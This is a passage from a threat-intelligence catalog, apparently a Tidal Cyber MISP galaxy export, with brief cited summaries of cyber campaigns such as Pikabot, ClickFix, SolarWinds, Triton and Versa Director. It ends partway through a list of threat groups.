distribution in the first year after its discovery. Distribution campaigns have been linked to the TA577 threat actor (previously known for distributing payloads including QakBot, IcedID, SystemBC, and Cobalt Strike)^{[[Malwarebytes Pikabot December 15 2023](/references/50b29ef4-7ade-4672-99b6-fdf367170a5b)]}^{[[Unit42 Malware Roundup December 29 2023](/references/a18e19b5-9046-4c2c-bd94-2cd5061064bf)]}; however, the Technique- and Procedure level intelligence associated with these campaigns that is provided below was not explicitly linked to that group, so we are providing this intelligence to users in this Campaign form. The Water Curupira intrusion set (affiliated with the Black Basta ransomware operation) has also been observed distributing Pikabot.^{[[Trend Micro Pikabot January 9 2024](/references/dc7d882b-4e83-42da-8e2f-f557b675930a)]}

The tag is: *misp-galaxy:campaigns="Pikabot Distribution Campaigns 2023"*

Pikabot Distribution February 2024

[Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) was distributed in [Pikabot Distribution February 2024](https://app.tidalcyber.com/campaigns/6e6fa0e4-18b3-5700-803d-b821dcdcd787) using malicious emails with embedded links leading to malicious ZIP archives requiring user interaction for follow-on infection. The version of [Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) distributed featured significant changes over the 2023 variant, including reduced code complexity and simplified obfuscation mechanisms.^{[[Elastic Pikabot 2024](https://app.tidalcyber.com/references/6c222f33-f588-513c-9149-4c2308e05319)]}^{[[Zscaler Pikabot 2024](https://app.tidalcyber.com/references/9c1edd25-0fd0-5b5d-8091-68074da52593)]}

The tag is: *misp-galaxy:campaigns="Pikabot Distribution February 2024"*

PowerShell User Execution Social Engineering Campaign (TA571, ClearFake, ClickFix)

Researchers observed a campaign, with activity occurring between March and at least June 2024, where multiple discrete threat actor clusters used similar social engineering techniques to trick users into copying and executing PowerShell scripts, which ultimately led to malware deployment on the victim's system. Payloads included droppers, RATs, and information stealer malware.

Initial contact with the victim occurred through both malspam email campaigns and web browser injects, which would trigger a popup claiming an error occurred when trying to open a document or webpage. The popup would prompt the user to run a script in the PowerShell terminal or Windows Run dialog box. Researchers attributed these campaigns to TA571, an initial access broker, a known intrusion set (ClearFake), and a newer group dubbed ClickFix.^{[[Proofpoint June 17 2024](/references/a65d7492-04a4-46d4-85ed-134786c6828b)]}^{[[BleepingComputer Fake Chrome Errors June 17 2024](/references/6efa70e3-d8eb-4260-b0ab-62335681e6fd)]}

The tag is: *misp-galaxy:campaigns="PowerShell User Execution Social Engineering Campaign (TA571, ClearFake, ClickFix)"*

QakBot January 2024 Campaign

A collections of TTPs associated with a phishing-based campaign that resulted in QakBot deployments. The campaign comes about four months after the reported disruption of QakBot distribution networks in an international law enforcement operation.^{[[K7 QakBot Returns January 4 2024](/references/5cb5e645-b77b-4bd1-a742-c8f53f234713)]}

The tag is: *misp-galaxy:campaigns="QakBot January 2024 Campaign"*

Quantum Ransomware Compromise

Independent investigators reported details about a response to a compromise involving Quantum ransomware. The date of the attack was not disclosed, but the incident was reported in April 2022. IcedID was used to gain an initial foothold, Cobalt Strike and RDP were leveraged for lateral movement, and WMI and PsExec were used to deploy the ransomware payload. The incident was described as "one of the fastest ransomware cases" the investigators had handled, with domain-wide encryption occurring within four hours of initial access.^{[[The DFIR Report April 25 2022](/references/2e28c754-911a-4f08-a7bd-4580f5283571)]}

The tag is: *misp-galaxy:campaigns="Quantum Ransomware Compromise"*

Qubitstrike Cryptojacking & Rootkit Activity

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Qubitstrike Cryptojacking & Rootkit Activity"*

RedDelta Modified PlugX Infection Chain Operations

[RedDelta Modified PlugX Infection Chain Operations](https://app.tidalcyber.com/campaigns/ad132ec8-59f4-56cc-8eb9-9bb770c2e655) was executed by [Mustang Panda](https://app.tidalcyber.com/groups/4a4641b1-7686-49da-8d83-00d8013f4b47) from mid-2023 through the end of 2024 against multiple entities in East and Southeast Asia. [RedDelta Modified PlugX Infection Chain Operations](https://app.tidalcyber.com/campaigns/ad132ec8-59f4-56cc-8eb9-9bb770c2e655) involved phishing to deliver malicious files or links to users prompting follow-on installer downloads to load [PlugX](https://app.tidalcyber.com/software/070b56f4-7810-4dad-b85f-bdfce9c08c10) on victim machines in a persistent state.^{[[Recorded Future RedDelta 2025](https://app.tidalcyber.com/references/47419c14-1c84-5c6a-9feb-b0e98948fd61)]}

The tag is: *misp-galaxy:campaigns="RedDelta Modified PlugX Infection Chain Operations"*

RedDelta Updated PlugX Infection Chain (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "RedDelta Modified PlugX Infection Chain Operations" (Campaign). All relevant

Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Chinese state-sponsored adversary RedDelta, which overlaps with the Mustang Panda espionage group, was observed using an updated infection chain to deploy PlugX backdoor malware between July 2023 and December 2024 in attacks on entities in Taiwan, Mongolia, and countries in Southeast Asia. Spearphishing-based attacks progressively used Windows shortcut (LNK), Management Console Snap-In Control (MSC), and HTML files to launch infections. The attacks also utilized Cloudflare CDN to proxy command and control communications.^{[[Recorded Future RedDelta January 9 2025](/references/bd7ef51c-47e1-4322-98fd-5c5a475a0605)]}

The tag is: *misp-galaxy:campaigns="RedDelta Updated PlugX Infection Chain (Deprecated)"*

Russian SVR Cyber Operations and Vulnerability Exploitation Activity

On October 10, 2024, U.S. cybersecurity authorities and international patners released a joint Cybersecurity Advisory (JCSA-20241010-001), which detailed TTPs used by Russian Foreign Intelligence Service (SVR) actors (aka APT29, Midnight Blizzard, et al) during "recent" cyber operations. The advisory highlighted the variety of initial access and post-exploitation TTPs leveraged by SVR actors in both targeted and broad-based campaigns, and it also spotlighted that these actors have the "capability and interest" to exploit a relatively long list of publicly disclosed vulnerabilities, which are tagged to this object.^{[[FBI SVR Update October 10 2024](/references/63a76e88-2cd1-4cfa-bd96-4c1c3eebb39b)]}

The tag is: *misp-galaxy:campaigns="Russian SVR Cyber Operations and Vulnerability Exploitation Activity"*

Scattered Spider TTP Evolution - SaaS Targeting

Researchers have observed an evolution in Scattered Spider’s/UNC3944’s TTPs since the second half of 2023, with actors especially focusing on gaining wide access to victim SaaS environments for reconnaissance, data theft, and subsequent extortion purposes. This object reflects the MITRE ATT&CK® Techniques associated with this activity.^{[[Google Cloud June 13 2024](/references/161423a2-165d-448f-90e9-0c53e319a125)]}

Notable Techniques newly associated with Scattered Spider via this Campaign object include Forge Web Credentials: SAML Tokens (T1606.002), Impair Defenses: Disable or Modify Tools (T1562.001), Indicator Removal: Clear Windows Event Logs (T1070.001), Software Discovery: Security Software Discovery (T1518.001), and Pre-OS Boot: System Firmware (T1542.001).

The tag is: *misp-galaxy:campaigns="Scattered Spider TTP Evolution - SaaS Targeting"*

ScreenConnect Vulnerability Exploit Attacks

This object represents a collection of MITRE ATT&CK® Techniques and other objects (Groups and/or Software) related to recently reported attacks that featured exploits of recently disclosed

vulnerabilities in the ConnectWise ScreenConnect utility (CVE-2024-1709 and CVE-2024-1708, aka "SlashAndGrab"). Several of the observed attacks saw the ingress of various malicious tools, including suspected ransomware.

Further background & contextual details can be found in the References tab below.

The tag is: *misp-galaxy:campaigns="ScreenConnect Vulnerability Exploit Attacks"*

ShadowRay

[ShadowRay](https://app.tidalcyber.com/campaigns/7920b2d4-1d80-5d74-b79b-80fdd51db06a) was a campaign that began in late 2023 targeting the education, cryptocurrency, biopharma, and other sectors through a vulnerability (CVE-2023-48022) in the Ray AI framework named ShadowRay. According to security researchers [ShadowRay](https://app.tidalcyber.com/campaigns/7920b2d4-1d80-5d74-b79b-80fdd51db06a) was the first known instance of AI workloads being activley exploited in the wild through vulnerabilities in AI infrastructure. CVE-2023-48022, which allows access to compute resources and sensitive data for exposed instances, remains unpatched and has been disputed by the vendor as they maintain that Ray is not intended for use outside of a strictly controlled network environment.^{[[Oligo ShadowRay Campaign MAR 2024](https://app.tidalcyber.com/references/84201679-1855-588d-aee0-b2518f563c9f)]}

The tag is: *misp-galaxy:campaigns="ShadowRay"*

SolarWinds Compromise

The [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a) was a sophisticated supply chain cyber operation conducted by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) that was discovered in mid-December 2020. [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.^{[[CrowdStrike StellarParticle January 2022](https://app.tidalcyber.com/references/149c1446-d6a1-4a63-9420-def9272d6cb9)]} Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.^{[[SolarWinds Advisory Dec 2020](https://app.tidalcyber.com/references/4e8b908a-bdc5-441b-bc51-98dfa87f6b7a)]}^{[[SolarWinds Sunburst Sunspot Update January 2021](https://app.tidalcyber.com/references/1be1b6e0-1b42-4d07-856b-b6321c17bb88)]}^{[[FireEye SUNBURST Backdoor December 2020](https://app.tidalcyber.com/references/d006ed03-a8af-4887-9356-3481d81d43e4)]}^{[[Volexity SolarWinds](https://app.tidalcyber.com/references/355cecf8-ef3e-4a6e-a652-3bf26fe46d88)]}^{[[CrowdStrike StellarParticle January 2022](https://app.tidalcyber.com/references/149c1446-d6a1-4a63-9420-def9272d6cb9)]}^{[[Unit 42 SolarStorm December 2020](https://app.tidalcyber.com/references/ecbb602a-2427-5eba-8c2b-25d90c95f166)]}<sup>[[Microsoft Analyzing Solorigate

Dec 2020](https://app.tidalcyber.com/references/8ad72d46-ba2c-426f-bb0d-eb47723c8e11)]</sup>^{[[Microsoft Internal Solorigate Investigation Blog](https://app.tidalcyber.com/references/66cade99-0040-464c-98a6-bba57719f0a4)]}

In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447), Cozy Bear, and The Dukes.^{[[NSA Joint Advisory SVR SolarWinds April 2021](https://app.tidalcyber.com/references/43d9c469-1d54-454b-ba67-74e7f1de9c10)]}^{[[UK NSCS Russia SolarWinds April 2021](https://app.tidalcyber.com/references/f49e6780-8caa-4c3c-8d68-47a2cc4319a1)]}^{[[Mandiant UNC2452 APT29 April 2022](https://app.tidalcyber.com/references/5276508c-6792-56be-b757-e4b495ef6c37)]} The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds' Orion product, a much smaller number were compromised by follow-on [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) activity on their systems.^{[[USG Joint Statement SolarWinds January 2021](https://app.tidalcyber.com/references/336a6549-a95d-5763-bbaf-5ef0d3141800)]}

The tag is: *misp-galaxy:campaigns="SolarWinds Compromise"*

SPACEHOP Activity

[SPACEHOP Activity](https://app.tidalcyber.com/campaigns/611b48f7-66ac-59db-8b68-87b55f67eede) is conducted through commercially leased Virtual Private Servers (VPS), otherwise known as provisioned Operational Relay Box (ORB) networks. The network leveraged for SPACEHOP Activity enabled China-nexus cyber threat actors – such as [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) and [Ke3chang](https://app.tidalcyber.com/groups/26c0925f-1a3c-4df6-b27a-62b9731299b8) – to perform network reconnaissance scanning and vulnerability exploitation. SPACEHOP Activity has historically targeted entities in North America, Europe, and the Middle East.^{[[ORB Mandiant](https://app.tidalcyber.com/references/3852fe26-53ad-504f-9328-7e249d121ebd)]}

The tag is: *misp-galaxy:campaigns="SPACEHOP Activity"*

STARK#VORTEX

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="STARK#VORTEX"*

Storm-0501 Hybrid Cloud Compromise

Microsoft researchers observed Storm-0501 actors abusing hybrid user identities and their associated privileges in order to pivot from on-premises to cloud environments in Q3 2024. Storm-0501 is a financially motivated actor that has been known to deploy multiple distinct ransomware

families and exfiltrate data for extortion purposes, leveraging the relatively new, Rust-based Embargo ransomware (along with a number of supporting commodity and open-source tools) during the hybrid compromise attack.^{[[Microsoft Security Blog September 26 2024](/references/bf05138b-f690-4b0f-ba10-9af71f7d9bfc)]} Mandiant reserachers linked Storm-0501 with an actor group they track as UNC2190, which was observed carrying out ransomware attacks while branded as "54BB47h" (Sabbath) in 2021.^{[[Mandiant Sabbath Ransomware November 29 2021](/references/ab3a20a5-2df1-4f8e-989d-baa96ffaca74)]}^{[[Tyler McLellan UNC2190 September 26 2024](/references/32298444-284a-4991-ba3b-a80bd62be903)]}

The tag is: *misp-galaxy:campaigns="Storm-0501 Hybrid Cloud Compromise"*

Storm-0558 Unauthorized Email Access Activity

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Storm-0558 Unauthorized Email Access Activity"*

TA455 Iranian Dream Job Campaign

Security researchers observed a campaign in which threat actors contacted workers in the aerospace, aviation, and defense industries, offering them fake job opportunities in an attempt to trick them into downloading malicious software. The researchers attributed the campaign to TA455, which they described as a subgroup of the Iranian threat actor Charming Kitten. Considering that North Korean actors have been observed using similar attack methods, the researchers concluded that the Iranian actors were either impersonating the Lazarus Group, or that North Korean actors had shared tools and TTPs with TA455.^{[[ClearSky Dream Job November 12 2024](/references/e53ea724-6783-4616-a6ca-30316aeca03e)]}

The tag is: *misp-galaxy:campaigns="TA455 Iranian Dream Job Campaign"*

TA577 NTLM Credential Theft Attacks

This object represents a collection of MITRE ATT&CK® Techniques and other objects (Groups and/or Software) related to the specified threat activity. Further background & contextual details can be found in the References tab below.

The tag is: *misp-galaxy:campaigns="TA577 NTLM Credential Theft Attacks"*

TOUGHPROGRESS Campaign

Google Threat Intelligence Group researchers identified an "innovative" campaign, dubbed "TOUGHPROGRESS" after its namesake malware and attributed to the China-affiliated APT41 group, where attackers leveraged Google Calendar for command and control activities.^{[[Google Cloud May 28 2025](/references/def3e3dd-8136-4714-a58f-ffbd00066dc0)]}

The tag is: *misp-galaxy:campaigns="TOUGHPROGRESS Campaign"*

Triton Safety Instrumented System Attack

[Triton Safety Instrumented System Attack](https://app.tidalcyber.com/campaigns/6c7185e1-bd46-5a80-9a76-a376b16fbc7b) was a campaign employed by [TEMP.Veles](https://app.tidalcyber.com/groups/3a54b8dc-a231-4db8-96da-1c0c1aa396f6) which leveraged the [Triton](https://app.tidalcyber.com/software/) malware framework against a petrochemical organization.^{[[Triton-EENews-2017](https://app.tidalcyber.com/references/5cc54d85-ee53-579d-a8fb-9b54b3540dc0)]} The malware and techniques used within this campaign targeted specific Triconex [Safety Controller](https://attack.mitre.org/assets/A0010)s within the environment.^{[[FireEye TRITON 2018](https://app.tidalcyber.com/references/bfa5886a-a7f4-40d1-98d0-c3358abcf265)]} The incident was eventually discovered due to a safety trip that occurred as a result of an issue in the malware.^{[[FireEye TRITON 2017](https://app.tidalcyber.com/references/597a4d8b-ffb2-4551-86db-b319f5a5b707)]}

The tag is: *misp-galaxy:campaigns="Triton Safety Instrumented System Attack"*

UNC2190 2021 Ransomware Activity

Mandiant researchers observed UNC2190, an actor group now linked to Storm-0501, deploying evasive, in-memory-only ransomware in 2021 while branded as the "54BB47h" (Sabbath) ransomware gang. The group had previously branded its operations as Eruption and Arcane. UNC2190 was seen targeting organizations in the education, health, and natural resources sectors in the United States and Canada from June through at least October 2021.^{[[Mandiant Sabbath Ransomware November 29 2021](/references/ab3a20a5-2df1-4f8e-989d-baa96ffaca74)]}

The tag is: *misp-galaxy:campaigns="UNC2190 2021 Ransomware Activity"*

Unit 26165 Russian Military Cyber Activity

In May 2025, U.S. cybersecurity authorities, along with more than 20 domestic and international partner agencies, released joint cybersecurity advisory AA25-141A, which detailed a long-running espionage campaign tied to Russian state-sponsored actors targeting "Western" logistics entities and technology companies associated with the supply of foreign assistance to Ukraine. The actors, attributed to Unit 26165 of the Russian General Staff Main Intelligence Directorate (GRU) military organization, used a range of behaviors to surveil and harvest data from entities "across virtually all transportation modes" and even targeted Internet-exposed cameras on Ukraine’s border to monitor and track aid shipments.^{[[U.S. CISA Russian GRU Targeting May 21 2025](/references/fb2f8efe-1e54-42c3-90eb-b1acba8f55b3)]}

The tag is: *misp-galaxy:campaigns="Unit 26165 Russian Military Cyber Activity"*

Unit 29155 Russian Military Cyber Activity

On September 5, 2024, international authorities published joint Cybersecurity Advisory AA24-249A, which detailed recent activity linked to cyber actors affiliated with the 161st Specialist Training

Center (aka Unit 29155) of the Russian General Staff Main Intelligence Directorate (GRU), the foreign military intelligence agency of Russia's armed forces. The advisory highlighted Unit 29155 espionage, sabotage, and reputational cyber attacks carried out against targets around the world since 2020.

While Unit 29155 had been previously linked to influence, interference, and physical sabotage operations, the advisory noted how the group has expanded its tradecraft to now include offensive cyber operations. The advisory indicated that several groups tracked by the cybersecurity community relate to Unit 29155 cyber actors but may not be directly synonyms with all parts of the Unit (or each other), including: Cadet Blizzard, DEV-0586, Ember Bear, Bleeding Bear, Frozenvista, UNC2589, and UAC-0056.^{[[U.S. CISA Unit 29155 September 5 2024](/references/9631a46d-3e0a-4f25-962b-0b2501c47926)]}

The tag is: *misp-galaxy:campaigns="Unit 29155 Russian Military Cyber Activity"*

UNK_SneakyStrike

UNK_SneakyStrike is an account takeover campaign targeting Microsoft Entra ID accounts using the TeamFiltration pentesting framework. It involves unauthorized activities such as user enumeration and password spraying attempts, affecting over 80,000 user accounts across hundreds of organizations.^{[[Proofpoint June 9 2025](/references/0346a943-4e49-4984-8fc9-90b27ebbcd26)]}

The tag is: *misp-galaxy:campaigns="UNK_SneakyStrike"*

VEILDrive

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="VEILDrive"*

Velvet Ant Cisco Network Switches Exploit Activity (CVE-2024-20399)

Researchers observed suspected "China-nexus" actor Velvet Ant exploiting CVE-2024-20399 in Cisco Nexus network switch devices in order to upload and execute "previously unknown custom malware" on the devices' operating systems. Researchers first observed "zero-day" exploit activity in the wild at an undisclosed point "during the past year", and after they shared the findings, Cisco acknowledged the vulnerability in an advisory published on July 1, 2024.

The vulnerability's overall risk is mitigated by the fact that it requires valid administrator-level credentials and network access to the target switch for successful exploitation. However, researchers highlighted how sophisticated threat groups are increasingly targeting network appliances as means of network access and persistence, since those appliances "are often not sufficiently protected and monitored". This exploit campaign was discovered as part of a larger

investigation into Velvet Ant, which was previously observed targeting F5 load balancer devices for persistence.^{[[The Hacker News Velvet Ant Cisco July 2 2024](/references/e3949201-c949-4126-9e02-34bfad4713c0)]}^{[[Sygnia Velvet Ant July 1 2024](/references/a0cfeeb6-4617-4dea-80d2-290eaf2bcf5b)]}

The tag is: *misp-galaxy:campaigns="Velvet Ant Cisco Network Switches Exploit Activity (CVE-2024-20399)"*

Velvet Ant F5 BIG-IP Espionage Activity

This object reflects the tools & TTPs associated with a campaign attributed to Velvet Ant, a suspected "China-nexus" state-sponsored threat group. Researchers believe the actor managed to maintain extremely prolonged access to a victim network – residing and remaining active there for around three years – notably by abusing a legacy, internet-exposed F5 BIG-IP load balancer appliance as an internal command and control mechanism. Researchers assess the intrusion was carried out for espionage purposes.^{[[Sygnia Velvet Ant June 17 2024](/references/5c313af4-61a8-449d-a6c7-f7ead6c72e19)]}^{[[BleepingComputer Velvet Ant June 17 2024](/references/70235e47-f8bb-4d16-9933-9f4923f08f5d)]}

The tag is: *misp-galaxy:campaigns="Velvet Ant F5 BIG-IP Espionage Activity"*

Versa Director Zero Day Exploitation

[Versa Director Zero Day Exploitation](https://app.tidalcyber.com/campaigns/e28a09b7-885f-5556-b56e-7ad3e0581ac0) was conducted by [Volt Typhoon](https://app.tidalcyber.com/groups/4ea1245f-3f35-5168-bd10-1fc49142fd4e) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://app.tidalcyber.com/campaigns/e28a09b7-885f-5556-b56e-7ad3e0581ac0) was followed by the delivery of the [VersaMem](https://app.tidalcyber.com/software/ea857bb3-408e-566f-a693-96d9dc4f3c90) web shell for both credential theft and follow-on code execution.^{[[Lumen Versa 2024](https://app.tidalcyber.com/references/1d7f40f7-76e6-5ba2-8561-17f3646cf407)]}

The tag is: *misp-galaxy:campaigns="Versa Director Zero Day Exploitation"*

VMConnect Lazarus Group Campaign

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="VMConnect Lazarus Group Campaign"*

Void Banshee Zero-Day Exploit Activity

Void Banshee is an advanced persistent threat (APT) group identified by Trend Micro researchers, which is known to target victims in North America, Europe, and Southeast Asia for information theft and financial gain. In May 2024, researchers observed Void Banshee actors exploiting CVE-2024-38112, a remote code execution vulnerability in the "MSHTML" web browser software component. The vulnerability had not been previously disclosed, so the campaign was characterized as "zero-day" exploit activity. Actors delivered the Atlantida infostealer malware during the observed attacks.^{[[Trend Micro Void Banshee July 15 2024](/references/02c4dda2-3aae-43ec-9b14-df282b200def)]}

Later, researchers noted that Void Banshee also exploited a separate MSHTML-related vulnerability, CVE-2024-43461, as a zero-day during attacks culminating in Atlantida infostealer deployments.^{[[BleepingComputer Void Banshee September 16 2024](/references/2c9a2355-02c5-4718-ad6e-b2fac9ad4096)]}

The tag is: *misp-galaxy:campaigns="Void Banshee Zero-Day Exploit Activity"*

Voldemort Malware Delivery Campaign

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Voldemort Malware Delivery Campaign"*

Wagemole

Wagemole refers to a series of campaigns associated with North Korean IT workers who aim to infiltrate Western companies by gaining employment under false identities, with the ultimate goal of stealing intellectual property and in some cases, demanding ransoms. Their activities are financially motivated and seek to advance North Korea’s strategic and financial interests.^{[[Unit 42 November 21 2023](/references/930228c3-a93b-4664-ab7d-65af212211fc)]}^{[[The Hacker News Nickel Tapestry October 20 2024](/references/43a8823e-e213-49a2-a3a3-80a9cc534706)]}^{[[Secureworks North Korea IT Workers October 16 2024](/references/0eff6062-2b77-414b-a26e-fb0c2958d80d)]}

The tag is: *misp-galaxy:campaigns="Wagemole"*

Water Curupira Pikabot Distribution

[Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) was distributed in [Water Curupira Pikabot Distribution](https://app.tidalcyber.com/campaigns/5b6d5717-676d-5e8b-a2a3-2717c62f6450) throughout 2023 by an entity linked to BlackBasta ransomware deployment via email attachments. This activity followed the take-down of [QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea), with several technical overlaps and similarities with [QakBot](https://app.tidalcyber.com/software/9050b418-

5ffd-481a-a30d-f9059b0871ea), indicating a possible connection. The identified activity led to the deployment of tools such as [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), while coinciding with campaigns delivering [DarkGate](https://app.tidalcyber.com/software/39d81c48-8f7c-54cb-8fac-485598e31a55) and [IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433) en route to ransomware deployment.^{[[TrendMicro Pikabot 2024](https://app.tidalcyber.com/references/a2a22246-d49e-5847-9d20-dac64f1df3ea)]}

The tag is: *misp-galaxy:campaigns="Water Curupira Pikabot Distribution"*

WebDAV Malware Delivery Activity

Security researchers observed adversaries using Web Distributed Authoring and Versioning (WebDAV) remote file management technology - hosted via free, development/testing-focused Cloudflare servers - to deliver various malware payloads, including AsyncRAT, XWorm, VenomRAT, and the PureLogs infostealer. One infection involved an unspecified organization in the government sector.^{[[Esentire July 31 2024](/references/18185ffd-8a66-4531-86de-4ba4dd9f675b)]}

The tag is: *misp-galaxy:campaigns="WebDAV Malware Delivery Activity"*

Windows SmartScreen Bypass (CVE-2024-21412) DarkGate Campaign

Researchers observed a campaign that used phishing communications to trick victims into clicking links that would redirect them to compromised websites hosting a zero-day vulnerability exploit to bypass Microsoft Windows SmartScreen security technology (CVE-2024-21412). The exploit activity involved additional redirect activity, including via internet shortcut files hosted on an adversary WebDAV server. The attacks culminated in delivery of the DarkGate loader/remote access trojan.^{[[Trend Micro March 13 2024](/references/0574a0a7-694b-4858-b053-8f7911c8ce54)]}

The tag is: *misp-galaxy:campaigns="Windows SmartScreen Bypass (CVE-2024-21412) DarkGate Campaign"*

Zloader & Ursnif Affiliate Campaign 2020-22

A suspected affiliate of the Zloader operation carried out attacks mainly affecting financial institutions. Intrusions typically came via drive-by compromise and initiallly saw the installation of the Atera software, which was then used to load Zloader, and in some cases, Ursnif.^{[[WeLiveSecurity April 19 2022](/references/f86845b9-03c4-446b-845f-b31b79b247ee)]}

The tag is: *misp-galaxy:campaigns="Zloader & Ursnif Affiliate Campaign 2020-22"*

Tidal Groups

Tidal Groups Galaxy.

Tidal Groups is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Tidal Cyber

8Base Ransomware Actors

This object represents the behaviors associated with operators of 8Base ransomware, who may or may not operate as a cohesive unit. Behaviors associated with samples of 8Base ransomware are represented in the "8Base Ransomware" Software object.

The 8Base ransomware operation began claiming significant numbers of victims on its data leak site in June 2023, including organizations in a range of sectors. Researchers have observed considerable similarities between aspects of 8Base's operations and those of other ransomware groups, leading them to suspect that 8Base may be an evolution or offshoot of existing operations. The language in 8Base's ransom notes is similar to the language seen in RansomHouse's notes, and there is strong overlap between the code of Phobos ransomware and 8Base.^{[[VMWare 8Base June 28 2023](/references/573e9520-6181-4535-9ed3-2338688a8e9f)]}^{[[Acronis 8Base July 17 2023](/references/c9822477-1578-4068-9882-41e4d6eaee3f)]}

The tag is: *misp-galaxy:groups="8Base Ransomware Actors"*

admin@338

[admin@338](https://app.tidalcyber.com/groups/8567136b-f84a-45ed-8cce-46324c7da60e) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://app.tidalcyber.com/software/1d87a695-7989-49ae-ac1a-b6601db565c3), as well as some non-public backdoors. ^{[[FireEye admin@338](https://app.tidalcyber.com/references/f3470275-9652-440e-914d-ad4fc5165413)]}

The tag is: *misp-galaxy:groups="admin@338"*

Agrius

[Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets.^{[[SentinelOne Agrius 2021](https://app.tidalcyber.com/references/b5b433a1-5d12-5644-894b-c42d995c9ba5)]}^{[[CheckPoint Agrius 2023](https://app.tidalcyber.com/references/b3034b5d-1fe5-5677-a2e8-9329141875d4)]} Public reporting has linked [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) to Iran's

Ministry of Intelligence and Security (MOIS).^{[[Microsoft Iran Cyber 2023](https://app.tidalcyber.com/references/08053c85-68ba-538b-b2f6-7ea0df654900)]}

The tag is: *misp-galaxy:groups="Agrius"*

Ajax Security Team

[Ajax Security Team](https://app.tidalcyber.com/groups/e38bcb42-12c1-4202-a794-ec26cd830caa) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://app.tidalcyber.com/groups/e38bcb42-12c1-4202-a794-ec26cd830caa) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.^{[[FireEye Operation Saffron Rose 2013](https://app.tidalcyber.com/references/2f4c0941-d14e-4eb8-828c-f1d9a1e14a95)]}

The tag is: *misp-galaxy:groups="Ajax Security Team"*

Akira

[Akira](https://app.tidalcyber.com/groups/923f478c-7ad1-516f-986d-61f96b9c553e) is a ransomware variant and ransomware deployment entity active since at least March 2023.^{[[Arctic Wolf Akira 2023](https://app.tidalcyber.com/references/aa34f2a1-a398-5dc4-b898-cdc02afeca5d)]} [Akira](https://app.tidalcyber.com/groups/923f478c-7ad1-516f-986d-61f96b9c553e) uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement.^{[[Arctic Wolf Akira 2023](https://app.tidalcyber.com/references/aa34f2a1-a398-5dc4-b898-cdc02afeca5d)]}^{[[Secureworks GOLD SAHARA](https://app.tidalcyber.com/references/3abb7995-4a62-56a6-9492-942965edf0a0)]} [Akira](https://app.tidalcyber.com/groups/923f478c-7ad1-516f-986d-61f96b9c553e) operations are associated with "double extortion" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of [Akira](https://app.tidalcyber.com/software/96ae0e1e-975a-5e11-adbe-c79ee17cee11) ransomware indicates variants capable of targeting Windows or VMWare ESXi hypervisors and multiple overlaps with [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) 